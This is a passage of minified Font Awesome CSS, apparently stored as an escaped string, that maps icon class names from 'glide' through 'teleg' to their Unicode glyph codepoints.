content:\"\\f530\"}.fa-glide:before{content:\"\\f2a5\"}.fa-glide-g:before{content:\"\\f2a6\"}.fa-globe:before{content:\"\\f0ac\"}.fa-globe-africa:before{content:\"\\f57c\"}.fa-globe-americas:before{content:\"\\f57d\"}.fa-globe-asia:before{content:\"\\f57e\"}.fa-globe-europe:before{content:\"\\f7a2\"}.fa-gofore:before{content:\"\\f3a7\"}.fa-golf-ball:before{content:\"\\f450\"}.fa-goodreads:before{content:\"\\f3a8\"}.fa-goodreads-g:before{content:\"\\f3a9\"}.fa-google:before{content:\"\\f1a0\"}.fa-google-drive:before{content:\"\\f3aa\"}.fa-google-play:before{content:\"\\f3ab\"}.fa-google-plus:before{content:\"\\f2b3\"}.fa-google-plus-g:before{content:\"\\f0d5\"}.fa-google-plus-square:before{content:\"\\f0d4\"}.fa-google-wallet:before{content:\"\\f1ee\"}.fa-gopuram:before{content:\"\\f664\"}.fa-graduation-cap:before{content:\"\\f19d\"}.fa-gratipay:before{content:\"\\f184\"}.fa-grav:before{content:\"\\f2d6\"}.fa-greater-than:before{content:\"\\f531\"}.fa-greater-than-equal:before{content:\"\\f532\"}.fa-grimace:before{content:\"\\f57f\"}.fa-grin:before{content:\"\\f580\"}.fa-grin-alt:before{content:\"\\f581\"}.fa-grin-beam:before{content:\"\\f582\"}.fa-grin-beam-sweat:before{content:\"\\f583\"}.fa-grin-hearts:before{content:\"\\f584\"}.fa-grin-squint:before{content:\"\\f585\"}.fa-grin-squint-tears:before{content:\"\\f586\"}.fa-grin-stars:before{content:\"\\f587\"}.fa-grin-tears:before{content:\"\\f588\"}.fa-grin-tongue:before{content:\"\\f589\"}.fa-grin-tongue-squint:before{content:\"\\f58a\"}.fa-grin-tongue-wink:before{content:\"\\f58b\"}.fa-grin-wink:before{content:\"\\f58c\"}.fa-grip-horizontal:before{content:\"\\f58d\"}.fa-grip-lines:before{content:\"\\f7a4\"}.fa-grip-lines-vertical:before{content:\"\\f7a5\"}.fa-grip-vertical:before{content:\"\\f58e\"}.fa-gripfire:before{content:\"\\f3ac\"}.fa-grunt:before{content:\"\\f3ad\"}.fa-guitar:before{content:\"\\f7a6\"}.fa-gulp:before{content:\"\\f3ae\"}.fa-h-square:before{content:\"\\f0fd\"}.fa-hacker-news:before{content:\"\\f1d4\"}.fa-hacker-news-square:before{content:\"\\f3af\"}.fa-hackerrank:before{content:\"\\f5f7\"}.fa-hamburger:before{content:\"\\f805\"}.fa-hammer:before{content:\"\\f6e3\"}.fa-hamsa:before{content:\"\\f665\"}.fa-hand-holding:before{content:\"\\f4bd\"}.fa-hand-holding-heart:before{content:\"\\f4be\"}.fa-hand-holding-usd:before{content:\"\\f4c0\"}.fa-hand-lizard:before{content:\"\\f258\"}.fa-hand-middle-finger:before{content:\"\\f806\"}.fa-hand-paper:before{content:\"\\f256\"}.fa-hand-peace:before{content:\"\\f25b\"}.fa-hand-point-down:before{content:\"\\f0a7\"}.fa-hand-point-left:before{content:\"\\f0a5\"}.fa-hand-point-right:before{content:\"\\f0a4\"}.fa-hand-point-up:before{content:\"\\f0a6\"}.fa-hand-pointer:before{content:\"\\f25a\"}.fa-hand-rock:before{content:\"\\f255\"}.fa-hand-scissors:before{content:\"\\f257\"}.fa-hand-spock:before{content:\"\\f259\"}.fa-hands:before{content:\"\\f4c2\"}.fa-hands-helping:before{content:\"\\f4c4\"}.fa-handshake:before{content:\"\\f2b5\"}.fa-hanukiah:before{content:\"\\f6e6\"}.fa-hard-hat:before{content:\"\\f807\"}.fa-hashtag:before{content:\"\\f292\"}.fa-hat-cowboy:before{content:\"\\f8c0\"}.fa-hat-cowboy-side:before{content:\"\\f8c1\"}.fa-hat-wizard:before{content:\"\\f6e8\"}.fa-haykal:before{content:\"\\f666\"}.fa-hdd:before{content:\"\\f0a0\"}.fa-heading:before{content:\"\\f1dc\"}.fa-headphones:before{content:\"\\f025\"}.fa-headphones-alt:before{content:\"\\f58f\"}.fa-headset:before{content:\"\\f590\"}.fa-heart:before{content:\"\\f004\"}.fa-heart-broken:before{content:\"\\f7a9\"}.fa-heartbeat:before{content:\"\\f21e\"}.fa-helicopter:before{content:\"\\f533\"}.fa-highlighter:before{content:\"\\f591\"}.fa-hiking:before{content:\"\\f6ec\"}.fa-hippo:before{content:\"\\f6ed\"}.fa-hips:before{content:\"\\f452\"}.fa-hire-a-helper:before{content:\"\\f3b0\"}.fa-history:before{content:\"\\f1da\"}.fa-hockey-puck:before{content:\"\\f453\"}.fa-holly-berry:before{content:\"\\f7aa\"}.fa-home:before{content:\"\\f015\"}.fa-hooli:before{content:\"\\f427\"}.fa-hornbill:before{content:\"\\f592\"}.fa-horse:before{content:\"\\f6f0\"}.fa-horse-head:before{content:\"\\f7ab\"}.fa-hospital:before{content:\"\\f0f8\"}.fa-hospital-alt:before{content:\"\\f47d\"}.fa-hospital-symbol:before{content:\"\\f47e\"}.fa-hot-tub:before{content:\"\\f593\"}.fa-hotdog:before{content:\"\\f80f\"}.fa-hotel:before{content:\"\\f594\"}.fa-hotjar:before{content:\"\\f3b1\"}.fa-hourglass:before{content:\"\\f254\"}.fa-hourglass-end:before{content:\"\\f253\"}.fa-hourglass-half:before{content:\"\\f252\"}.fa-hourglass-start:before{content:\"\\f251\"}.fa-house-damage:before{content:\"\\f6f1\"}.fa-houzz:before{content:\"\\f27c\"}.fa-hryvnia:before{content:\"\\f6f2\"}.fa-html5:before{content:\"\\f13b\"}.fa-hubspot:before{content:\"\\f3b2\"}.fa-i-cursor:before{content:\"\\f246\"}.fa-ice-cream:before{content:\"\\f810\"}.fa-icicles:before{content:\"\\f7ad\"}.fa-icons:before{content:\"\\f86d\"}.fa-id-badge:before{content:\"\\f2c1\"}.fa-id-card:before{content:\"\\f2c2\"}.fa-id-card-alt:before{content:\"\\f47f\"}.fa-igloo:before{content:\"\\f7ae\"}.fa-image:before{content:\"\\f03e\"}.fa-images:before{content:\"\\f302\"}.fa-imdb:before{content:\"\\f2d8\"}.fa-inbox:before{content:\"\\f01c\"}.fa-indent:before{content:\"\\f03c\"}.fa-industry:before{content:\"\\f275\"}.fa-infinity:before{content:\"\\f534\"}.fa-info:before{content:\"\\f129\"}.fa-info-circle:before{content:\"\\f05a\"}.fa-instagram:before{content:\"\\f16d\"}.fa-intercom:before{content:\"\\f7af\"}.fa-internet-explorer:before{content:\"\\f26b\"}.fa-invision:before{content:\"\\f7b0\"}.fa-ioxhost:before{content:\"\\f208\"}.fa-italic:before{content:\"\\f033\"}.fa-itch-io:before{content:\"\\f83a\"}.fa-itunes:before{content:\"\\f3b4\"}.fa-itunes-note:before{content:\"\\f3b5\"}.fa-java:before{content:\"\\f4e4\"}.fa-jedi:before{content:\"\\f669\"}.fa-jedi-order:before{content:\"\\f50e\"}.fa-jenkins:before{content:\"\\f3b6\"}.fa-jira:before{content:\"\\f7b1\"}.fa-joget:before{content:\"\\f3b7\"}.fa-joint:before{content:\"\\f595\"}.fa-joomla:before{content:\"\\f1aa\"}.fa-journal-whills:before{content:\"\\f66a\"}.fa-js:before{content:\"\\f3b8\"}.fa-js-square:before{content:\"\\f3b9\"}.fa-jsfiddle:before{content:\"\\f1cc\"}.fa-kaaba:before{content:\"\\f66b\"}.fa-kaggle:before{content:\"\\f5fa\"}.fa-key:before{content:\"\\f084\"}.fa-keybase:before{content:\"\\f4f5\"}.fa-keyboard:before{content:\"\\f11c\"}.fa-keycdn:before{content:\"\\f3ba\"}.fa-khanda:before{content:\"\\f66d\"}.fa-kickstarter:before{content:\"\\f3bb\"}.fa-kickstarter-k:before{content:\"\\f3bc\"}.fa-kiss:before{content:\"\\f596\"}.fa-kiss-beam:before{content:\"\\f597\"}.fa-kiss-wink-heart:before{content:\"\\f598\"}.fa-kiwi-bird:before{content:\"\\f535\"}.fa-korvue:before{content:\"\\f42f\"}.fa-landmark:before{content:\"\\f66f\"}.fa-language:before{content:\"\\f1ab\"}.fa-laptop:before{content:\"\\f109\"}.fa-laptop-code:before{content:\"\\f5fc\"}.fa-laptop-medical:before{content:\"\\f812\"}.fa-laravel:before{content:\"\\f3bd\"}.fa-lastfm:before{content:\"\\f202\"}.fa-lastfm-square:before{content:\"\\f203\"}.fa-laugh:before{content:\"\\f599\"}.fa-laugh-beam:before{content:\"\\f59a\"}.fa-laugh-squint:before{content:\"\\f59b\"}.fa-laugh-wink:before{content:\"\\f59c\"}.fa-layer-group:before{content:\"\\f5fd\"}.fa-leaf:before{content:\"\\f06c\"}.fa-leanpub:before{content:\"\\f212\"}.fa-lemon:before{content:\"\\f094\"}.fa-less:before{content:\"\\f41d\"}.fa-less-than:before{content:\"\\f536\"}.fa-less-than-equal:before{content:\"\\f537\"}.fa-level-down-alt:before{content:\"\\f3be\"}.fa-level-up-alt:before{content:\"\\f3bf\"}.fa-life-ring:before{content:\"\\f1cd\"}.fa-lightbulb:before{content:\"\\f0eb\"}.fa-line:before{content:\"\\f3c0\"}.fa-link:before{content:\"\\f0c1\"}.fa-linkedin:before{content:\"\\f08c\"}.fa-linkedin-in:before{content:\"\\f0e1\"}.fa-linode:before{content:\"\\f2b8\"}.fa-linux:before{content:\"\\f17c\"}.fa-lira-sign:before{content:\"\\f195\"}.fa-list:before{content:\"\\f03a\"}.fa-list-alt:before{content:\"\\f022\"}.fa-list-ol:before{content:\"\\f0cb\"}.fa-list-ul:before{content:\"\\f0ca\"}.fa-location-arrow:before{content:\"\\f124\"}.fa-lock:before{content:\"\\f023\"}.fa-lock-open:before{content:\"\\f3c1\"}.fa-long-arrow-alt-down:before{content:\"\\f309\"}.fa-long-arrow-alt-left:before{content:\"\\f30a\"}.fa-long-arrow-alt-right:before{content:\"\\f30b\"}.fa-long-arrow-alt-up:before{content:\"\\f30c\"}.fa-low-vision:before{content:\"\\f2a8\"}.fa-luggage-cart:before{content:\"\\f59d\"}.fa-lyft:before{content:\"\\f3c3\"}.fa-magento:before{content:\"\\f3c4\"}.fa-magic:before{content:\"\\f0d0\"}.fa-magnet:before{content:\"\\f076\"}.fa-mail-bulk:before{content:\"\\f674\"}.fa-mailchimp:before{content:\"\\f59e\"}.fa-male:before{content:\"\\f183\"}.fa-mandalorian:before{content:\"\\f50f\"}.fa-map:before{content:\"\\f279\"}.fa-map-marked:before{content:\"\\f59f\"}.fa-map-marked-alt:before{content:\"\\f5a0\"}.fa-map-marker:before{content:\"\\f041\"}.fa-map-marker-alt:before{content:\"\\f3c5\"}.fa-map-pin:before{content:\"\\f276\"}.fa-map-signs:before{content:\"\\f277\"}.fa-markdown:before{content:\"\\f60f\"}.fa-marker:before{content:\"\\f5a1\"}.fa-mars:before{content:\"\\f222\"}.fa-mars-double:before{content:\"\\f227\"}.fa-mars-stroke:before{content:\"\\f229\"}.fa-mars-stroke-h:before{content:\"\\f22b\"}.fa-mars-stroke-v:before{content:\"\\f22a\"}.fa-mask:before{content:\"\\f6fa\"}.fa-mastodon:before{content:\"\\f4f6\"}.fa-maxcdn:before{content:\"\\f136\"}.fa-mdb:before{content:\"\\f8ca\"}.fa-medal:before{content:\"\\f5a2\"}.fa-medapps:before{content:\"\\f3c6\"}.fa-medium:before{content:\"\\f23a\"}.fa-medium-m:before{content:\"\\f3c7\"}.fa-medkit:before{content:\"\\f0fa\"}.fa-medrt:before{content:\"\\f3c8\"}.fa-meetup:before{content:\"\\f2e0\"}.fa-megaport:before{content:\"\\f5a3\"}.fa-meh:before{content:\"\\f11a\"}.fa-meh-blank:before{content:\"\\f5a4\"}.fa-meh-rolling-eyes:before{content:\"\\f5a5\"}.fa-memory:before{content:\"\\f538\"}.fa-mendeley:before{content:\"\\f7b3\"}.fa-menorah:before{content:\"\\f676\"}.fa-mercury:before{content:\"\\f223\"}.fa-meteor:before{content:\"\\f753\"}.fa-microchip:before{content:\"\\f2db\"}.fa-microphone:before{content:\"\\f130\"}.fa-microphone-alt:before{content:\"\\f3c9\"}.fa-microphone-alt-slash:before{content:\"\\f539\"}.fa-microphone-slash:before{content:\"\\f131\"}.fa-microscope:before{content:\"\\f610\"}.fa-microsoft:before{content:\"\\f3ca\"}.fa-minus:before{content:\"\\f068\"}.fa-minus-circle:before{content:\"\\f056\"}.fa-minus-square:before{content:\"\\f146\"}.fa-mitten:before{content:\"\\f7b5\"}.fa-mix:before{content:\"\\f3cb\"}.fa-mixcloud:before{content:\"\\f289\"}.fa-mizuni:before{content:\"\\f3cc\"}.fa-mobile:before{content:\"\\f10b\"}.fa-mobile-alt:before{content:\"\\f3cd\"}.fa-modx:before{content:\"\\f285\"}.fa-monero:before{content:\"\\f3d0\"}.fa-money-bill:before{content:\"\\f0d6\"}.fa-money-bill-alt:before{content:\"\\f3d1\"}.fa-money-bill-wave:before{content:\"\\f53a\"}.fa-money-bill-wave-alt:before{content:\"\\f53b\"}.fa-money-check:before{content:\"\\f53c\"}.fa-money-check-alt:before{content:\"\\f53d\"}.fa-monument:before{content:\"\\f5a6\"}.fa-moon:before{content:\"\\f186\"}.fa-mortar-pestle:before{content:\"\\f5a7\"}.fa-mosque:before{content:\"\\f678\"}.fa-motorcycle:before{content:\"\\f21c\"}.fa-mountain:before{content:\"\\f6fc\"}.fa-mouse:before{content:\"\\f8cc\"}.fa-mouse-pointer:before{content:\"\\f245\"}.fa-mug-hot:before{content:\"\\f7b6\"}.fa-music:before{content:\"\\f001\"}.fa-napster:before{content:\"\\f3d2\"}.fa-neos:before{content:\"\\f612\"}.fa-network-wired:before{content:\"\\f6ff\"}.fa-neuter:before{content:\"\\f22c\"}.fa-newspaper:before{content:\"\\f1ea\"}.fa-nimblr:before{content:\"\\f5a8\"}.fa-node:before{content:\"\\f419\"}.fa-node-js:before{content:\"\\f3d3\"}.fa-not-equal:before{content:\"\\f53e\"}.fa-notes-medical:before{content:\"\\f481\"}.fa-npm:before{content:\"\\f3d4\"}.fa-ns8:before{content:\"\\f3d5\"}.fa-nutritionix:before{content:\"\\f3d6\"}.fa-object-group:before{content:\"\\f247\"}.fa-object-ungroup:before{content:\"\\f248\"}.fa-odnoklassniki:before{content:\"\\f263\"}.fa-odnoklassniki-square:before{content:\"\\f264\"}.fa-oil-can:before{content:\"\\f613\"}.fa-old-republic:before{content:\"\\f510\"}.fa-om:before{content:\"\\f679\"}.fa-opencart:before{content:\"\\f23d\"}.fa-openid:before{content:\"\\f19b\"}.fa-opera:before{content:\"\\f26a\"}.fa-optin-monster:before{content:\"\\f23c\"}.fa-orcid:before{content:\"\\f8d2\"}.fa-osi:before{content:\"\\f41a\"}.fa-otter:before{content:\"\\f700\"}.fa-outdent:before{content:\"\\f03b\"}.fa-page4:before{content:\"\\f3d7\"}.fa-pagelines:before{content:\"\\f18c\"}.fa-pager:before{content:\"\\f815\"}.fa-paint-brush:before{content:\"\\f1fc\"}.fa-paint-roller:before{content:\"\\f5aa\"}.fa-palette:before{content:\"\\f53f\"}.fa-palfed:before{content:\"\\f3d8\"}.fa-pallet:before{content:\"\\f482\"}.fa-paper-plane:before{content:\"\\f1d8\"}.fa-paperclip:before{content:\"\\f0c6\"}.fa-parachute-box:before{content:\"\\f4cd\"}.fa-paragraph:before{content:\"\\f1dd\"}.fa-parking:before{content:\"\\f540\"}.fa-passport:before{content:\"\\f5ab\"}.fa-pastafarianism:before{content:\"\\f67b\"}.fa-paste:before{content:\"\\f0ea\"}.fa-patreon:before{content:\"\\f3d9\"}.fa-pause:before{content:\"\\f04c\"}.fa-pause-circle:before{content:\"\\f28b\"}.fa-paw:before{content:\"\\f1b0\"}.fa-paypal:before{content:\"\\f1ed\"}.fa-peace:before{content:\"\\f67c\"}.fa-pen:before{content:\"\\f304\"}.fa-pen-alt:before{content:\"\\f305\"}.fa-pen-fancy:before{content:\"\\f5ac\"}.fa-pen-nib:before{content:\"\\f5ad\"}.fa-pen-square:before{content:\"\\f14b\"}.fa-pencil-alt:before{content:\"\\f303\"}.fa-pencil-ruler:before{content:\"\\f5ae\"}.fa-penny-arcade:before{content:\"\\f704\"}.fa-people-carry:before{content:\"\\f4ce\"}.fa-pepper-hot:before{content:\"\\f816\"}.fa-percent:before{content:\"\\f295\"}.fa-percentage:before{content:\"\\f541\"}.fa-periscope:before{content:\"\\f3da\"}.fa-person-booth:before{content:\"\\f756\"}.fa-phabricator:before{content:\"\\f3db\"}.fa-phoenix-framework:before{content:\"\\f3dc\"}.fa-phoenix-squadron:before{content:\"\\f511\"}.fa-phone:before{content:\"\\f095\"}.fa-phone-alt:before{content:\"\\f879\"}.fa-phone-slash:before{content:\"\\f3dd\"}.fa-phone-square:before{content:\"\\f098\"}.fa-phone-square-alt:before{content:\"\\f87b\"}.fa-phone-volume:before{content:\"\\f2a0\"}.fa-photo-video:before{content:\"\\f87c\"}.fa-php:before{content:\"\\f457\"}.fa-pied-piper:before{content:\"\\f2ae\"}.fa-pied-piper-alt:before{content:\"\\f1a8\"}.fa-pied-piper-hat:before{content:\"\\f4e5\"}.fa-pied-piper-pp:before{content:\"\\f1a7\"}.fa-piggy-bank:before{content:\"\\f4d3\"}.fa-pills:before{content:\"\\f484\"}.fa-pinterest:before{content:\"\\f0d2\"}.fa-pinterest-p:before{content:\"\\f231\"}.fa-pinterest-square:before{content:\"\\f0d3\"}.fa-pizza-slice:before{content:\"\\f818\"}.fa-place-of-worship:before{content:\"\\f67f\"}.fa-plane:before{content:\"\\f072\"}.fa-plane-arrival:before{content:\"\\f5af\"}.fa-plane-departure:before{content:\"\\f5b0\"}.fa-play:before{content:\"\\f04b\"}.fa-play-circle:before{content:\"\\f144\"}.fa-playstation:before{content:\"\\f3df\"}.fa-plug:before{content:\"\\f1e6\"}.fa-plus:before{content:\"\\f067\"}.fa-plus-circle:before{content:\"\\f055\"}.fa-plus-square:before{content:\"\\f0fe\"}.fa-podcast:before{content:\"\\f2ce\"}.fa-poll:before{content:\"\\f681\"}.fa-poll-h:before{content:\"\\f682\"}.fa-poo:before{content:\"\\f2fe\"}.fa-poo-storm:before{content:\"\\f75a\"}.fa-poop:before{content:\"\\f619\"}.fa-portrait:before{content:\"\\f3e0\"}.fa-pound-sign:before{content:\"\\f154\"}.fa-power-off:before{content:\"\\f011\"}.fa-pray:before{content:\"\\f683\"}.fa-praying-hands:before{content:\"\\f684\"}.fa-prescription:before{content:\"\\f5b1\"}.fa-prescription-bottle:before{content:\"\\f485\"}.fa-prescription-bottle-alt:before{content:\"\\f486\"}.fa-print:before{content:\"\\f02f\"}.fa-procedures:before{content:\"\\f487\"}.fa-product-hunt:before{content:\"\\f288\"}.fa-project-diagram:before{content:\"\\f542\"}.fa-pushed:before{content:\"\\f3e1\"}.fa-puzzle-piece:before{content:\"\\f12e\"}.fa-python:before{content:\"\\f3e2\"}.fa-qq:before{content:\"\\f1d6\"}.fa-qrcode:before{content:\"\\f029\"}.fa-question:before{content:\"\\f128\"}.fa-question-circle:before{content:\"\\f059\"}.fa-quidditch:before{content:\"\\f458\"}.fa-quinscape:before{content:\"\\f459\"}.fa-quora:before{content:\"\\f2c4\"}.fa-quote-left:before{content:\"\\f10d\"}.fa-quote-right:before{content:\"\\f10e\"}.fa-quran:before{content:\"\\f687\"}.fa-r-project:before{content:\"\\f4f7\"}.fa-radiation:before{content:\"\\f7b9\"}.fa-radiation-alt:before{content:\"\\f7ba\"}.fa-rainbow:before{content:\"\\f75b\"}.fa-random:before{content:\"\\f074\"}.fa-raspberry-pi:before{content:\"\\f7bb\"}.fa-ravelry:before{content:\"\\f2d9\"}.fa-react:before{content:\"\\f41b\"}.fa-reacteurope:before{content:\"\\f75d\"}.fa-readme:before{content:\"\\f4d5\"}.fa-rebel:before{content:\"\\f1d0\"}.fa-receipt:before{content:\"\\f543\"}.fa-record-vinyl:before{content:\"\\f8d9\"}.fa-recycle:before{content:\"\\f1b8\"}.fa-red-river:before{content:\"\\f3e3\"}.fa-reddit:before{content:\"\\f1a1\"}.fa-reddit-alien:before{content:\"\\f281\"}.fa-reddit-square:before{content:\"\\f1a2\"}.fa-redhat:before{content:\"\\f7bc\"}.fa-redo:before{content:\"\\f01e\"}.fa-redo-alt:before{content:\"\\f2f9\"}.fa-registered:before{content:\"\\f25d\"}.fa-remove-format:before{content:\"\\f87d\"}.fa-renren:before{content:\"\\f18b\"}.fa-reply:before{content:\"\\f3e5\"}.fa-reply-all:before{content:\"\\f122\"}.fa-replyd:before{content:\"\\f3e6\"}.fa-republican:before{content:\"\\f75e\"}.fa-researchgate:before{content:\"\\f4f8\"}.fa-resolving:before{content:\"\\f3e7\"}.fa-restroom:before{content:\"\\f7bd\"}.fa-retweet:before{content:\"\\f079\"}.fa-rev:before{content:\"\\f5b2\"}.fa-ribbon:before{content:\"\\f4d6\"}.fa-ring:before{content:\"\\f70b\"}.fa-road:before{content:\"\\f018\"}.fa-robot:before{content:\"\\f544\"}.fa-rocket:before{content:\"\\f135\"}.fa-rocketchat:before{content:\"\\f3e8\"}.fa-rockrms:before{content:\"\\f3e9\"}.fa-route:before{content:\"\\f4d7\"}.fa-rss:before{content:\"\\f09e\"}.fa-rss-square:before{content:\"\\f143\"}.fa-ruble-sign:before{content:\"\\f158\"}.fa-ruler:before{content:\"\\f545\"}.fa-ruler-combined:before{content:\"\\f546\"}.fa-ruler-horizontal:before{content:\"\\f547\"}.fa-ruler-vertical:before{content:\"\\f548\"}.fa-running:before{content:\"\\f70c\"}.fa-rupee-sign:before{content:\"\\f156\"}.fa-sad-cry:before{content:\"\\f5b3\"}.fa-sad-tear:before{content:\"\\f5b4\"}.fa-safari:before{content:\"\\f267\"}.fa-salesforce:before{content:\"\\f83b\"}.fa-sass:before{content:\"\\f41e\"}.fa-satellite:before{content:\"\\f7bf\"}.fa-satellite-dish:before{content:\"\\f7c0\"}.fa-save:before{content:\"\\f0c7\"}.fa-schlix:before{content:\"\\f3ea\"}.fa-school:before{content:\"\\f549\"}.fa-screwdriver:before{content:\"\\f54a\"}.fa-scribd:before{content:\"\\f28a\"}.fa-scroll:before{content:\"\\f70e\"}.fa-sd-card:before{content:\"\\f7c2\"}.fa-search:before{content:\"\\f002\"}.fa-search-dollar:before{content:\"\\f688\"}.fa-search-location:before{content:\"\\f689\"}.fa-search-minus:before{content:\"\\f010\"}.fa-search-plus:before{content:\"\\f00e\"}.fa-searchengin:before{content:\"\\f3eb\"}.fa-seedling:before{content:\"\\f4d8\"}.fa-sellcast:before{content:\"\\f2da\"}.fa-sellsy:before{content:\"\\f213\"}.fa-server:before{content:\"\\f233\"}.fa-servicestack:before{content:\"\\f3ec\"}.fa-shapes:before{content:\"\\f61f\"}.fa-share:before{content:\"\\f064\"}.fa-share-alt:before{content:\"\\f1e0\"}.fa-share-alt-square:before{content:\"\\f1e1\"}.fa-share-square:before{content:\"\\f14d\"}.fa-shekel-sign:before{content:\"\\f20b\"}.fa-shield-alt:before{content:\"\\f3ed\"}.fa-ship:before{content:\"\\f21a\"}.fa-shipping-fast:before{content:\"\\f48b\"}.fa-shirtsinbulk:before{content:\"\\f214\"}.fa-shoe-prints:before{content:\"\\f54b\"}.fa-shopping-bag:before{content:\"\\f290\"}.fa-shopping-basket:before{content:\"\\f291\"}.fa-shopping-cart:before{content:\"\\f07a\"}.fa-shopware:before{content:\"\\f5b5\"}.fa-shower:before{content:\"\\f2cc\"}.fa-shuttle-van:before{content:\"\\f5b6\"}.fa-sign:before{content:\"\\f4d9\"}.fa-sign-in-alt:before{content:\"\\f2f6\"}.fa-sign-language:before{content:\"\\f2a7\"}.fa-sign-out-alt:before{content:\"\\f2f5\"}.fa-signal:before{content:\"\\f012\"}.fa-signature:before{content:\"\\f5b7\"}.fa-sim-card:before{content:\"\\f7c4\"}.fa-simplybuilt:before{content:\"\\f215\"}.fa-sistrix:before{content:\"\\f3ee\"}.fa-sitemap:before{content:\"\\f0e8\"}.fa-sith:before{content:\"\\f512\"}.fa-skating:before{content:\"\\f7c5\"}.fa-sketch:before{content:\"\\f7c6\"}.fa-skiing:before{content:\"\\f7c9\"}.fa-skiing-nordic:before{content:\"\\f7ca\"}.fa-skull:before{content:\"\\f54c\"}.fa-skull-crossbones:before{content:\"\\f714\"}.fa-skyatlas:before{content:\"\\f216\"}.fa-skype:before{content:\"\\f17e\"}.fa-slack:before{content:\"\\f198\"}.fa-slack-hash:before{content:\"\\f3ef\"}.fa-slash:before{content:\"\\f715\"}.fa-sleigh:before{content:\"\\f7cc\"}.fa-sliders-h:before{content:\"\\f1de\"}.fa-slideshare:before{content:\"\\f1e7\"}.fa-smile:before{content:\"\\f118\"}.fa-smile-beam:before{content:\"\\f5b8\"}.fa-smile-wink:before{content:\"\\f4da\"}.fa-smog:before{content:\"\\f75f\"}.fa-smoking:before{content:\"\\f48d\"}.fa-smoking-ban:before{content:\"\\f54d\"}.fa-sms:before{content:\"\\f7cd\"}.fa-snapchat:before{content:\"\\f2ab\"}.fa-snapchat-ghost:before{content:\"\\f2ac\"}.fa-snapchat-square:before{content:\"\\f2ad\"}.fa-snowboarding:before{content:\"\\f7ce\"}.fa-snowflake:before{content:\"\\f2dc\"}.fa-snowman:before{content:\"\\f7d0\"}.fa-snowplow:before{content:\"\\f7d2\"}.fa-socks:before{content:\"\\f696\"}.fa-solar-panel:before{content:\"\\f5ba\"}.fa-sort:before{content:\"\\f0dc\"}.fa-sort-alpha-down:before{content:\"\\f15d\"}.fa-sort-alpha-down-alt:before{content:\"\\f881\"}.fa-sort-alpha-up:before{content:\"\\f15e\"}.fa-sort-alpha-up-alt:before{content:\"\\f882\"}.fa-sort-amount-down:before{content:\"\\f160\"}.fa-sort-amount-down-alt:before{content:\"\\f884\"}.fa-sort-amount-up:before{content:\"\\f161\"}.fa-sort-amount-up-alt:before{content:\"\\f885\"}.fa-sort-down:before{content:\"\\f0dd\"}.fa-sort-numeric-down:before{content:\"\\f162\"}.fa-sort-numeric-down-alt:before{content:\"\\f886\"}.fa-sort-numeric-up:before{content:\"\\f163\"}.fa-sort-numeric-up-alt:before{content:\"\\f887\"}.fa-sort-up:before{content:\"\\f0de\"}.fa-soundcloud:before{content:\"\\f1be\"}.fa-sourcetree:before{content:\"\\f7d3\"}.fa-spa:before{content:\"\\f5bb\"}.fa-space-shuttle:before{content:\"\\f197\"}.fa-speakap:before{content:\"\\f3f3\"}.fa-speaker-deck:before{content:\"\\f83c\"}.fa-spell-check:before{content:\"\\f891\"}.fa-spider:before{content:\"\\f717\"}.fa-spinner:before{content:\"\\f110\"}.fa-splotch:before{content:\"\\f5bc\"}.fa-spotify:before{content:\"\\f1bc\"}.fa-spray-can:before{content:\"\\f5bd\"}.fa-square:before{content:\"\\f0c8\"}.fa-square-full:before{content:\"\\f45c\"}.fa-square-root-alt:before{content:\"\\f698\"}.fa-squarespace:before{content:\"\\f5be\"}.fa-stack-exchange:before{content:\"\\f18d\"}.fa-stack-overflow:before{content:\"\\f16c\"}.fa-stackpath:before{content:\"\\f842\"}.fa-stamp:before{content:\"\\f5bf\"}.fa-star:before{content:\"\\f005\"}.fa-star-and-crescent:before{content:\"\\f699\"}.fa-star-half:before{content:\"\\f089\"}.fa-star-half-alt:before{content:\"\\f5c0\"}.fa-star-of-david:before{content:\"\\f69a\"}.fa-star-of-life:before{content:\"\\f621\"}.fa-staylinked:before{content:\"\\f3f5\"}.fa-steam:before{content:\"\\f1b6\"}.fa-steam-square:before{content:\"\\f1b7\"}.fa-steam-symbol:before{content:\"\\f3f6\"}.fa-step-backward:before{content:\"\\f048\"}.fa-step-forward:before{content:\"\\f051\"}.fa-stethoscope:before{content:\"\\f0f1\"}.fa-sticker-mule:before{content:\"\\f3f7\"}.fa-sticky-note:before{content:\"\\f249\"}.fa-stop:before{content:\"\\f04d\"}.fa-stop-circle:before{content:\"\\f28d\"}.fa-stopwatch:before{content:\"\\f2f2\"}.fa-store:before{content:\"\\f54e\"}.fa-store-alt:before{content:\"\\f54f\"}.fa-strava:before{content:\"\\f428\"}.fa-stream:before{content:\"\\f550\"}.fa-street-view:before{content:\"\\f21d\"}.fa-strikethrough:before{content:\"\\f0cc\"}.fa-stripe:before{content:\"\\f429\"}.fa-stripe-s:before{content:\"\\f42a\"}.fa-stroopwafel:before{content:\"\\f551\"}.fa-studiovinari:before{content:\"\\f3f8\"}.fa-stumbleupon:before{content:\"\\f1a4\"}.fa-stumbleupon-circle:before{content:\"\\f1a3\"}.fa-subscript:before{content:\"\\f12c\"}.fa-subway:before{content:\"\\f239\"}.fa-suitcase:before{content:\"\\f0f2\"}.fa-suitcase-rolling:before{content:\"\\f5c1\"}.fa-sun:before{content:\"\\f185\"}.fa-superpowers:before{content:\"\\f2dd\"}.fa-superscript:before{content:\"\\f12b\"}.fa-supple:before{content:\"\\f3f9\"}.fa-surprise:before{content:\"\\f5c2\"}.fa-suse:before{content:\"\\f7d6\"}.fa-swatchbook:before{content:\"\\f5c3\"}.fa-swift:before{content:\"\\f8e1\"}.fa-swimmer:before{content:\"\\f5c4\"}.fa-swimming-pool:before{content:\"\\f5c5\"}.fa-symfony:before{content:\"\\f83d\"}.fa-synagogue:before{content:\"\\f69b\"}.fa-sync:before{content:\"\\f021\"}.fa-sync-alt:before{content:\"\\f2f1\"}.fa-syringe:before{content:\"\\f48e\"}.fa-table:before{content:\"\\f0ce\"}.fa-table-tennis:before{content:\"\\f45d\"}.fa-tablet:before{content:\"\\f10a\"}.fa-tablet-alt:before{content:\"\\f3fa\"}.fa-tablets:before{content:\"\\f490\"}.fa-tachometer-alt:before{content:\"\\f3fd\"}.fa-tag:before{content:\"\\f02b\"}.fa-tags:before{content:\"\\f02c\"}.fa-tape:before{content:\"\\f4db\"}.fa-tasks:before{content:\"\\f0ae\"}.fa-taxi:before{content:\"\\f1ba\"}.fa-teamspeak:before{content:\"\\f4f9\"}.fa-teeth:before{content:\"\\f62e\"}.fa-teeth-open:before{content:\"\\f62f\"}.fa-teleg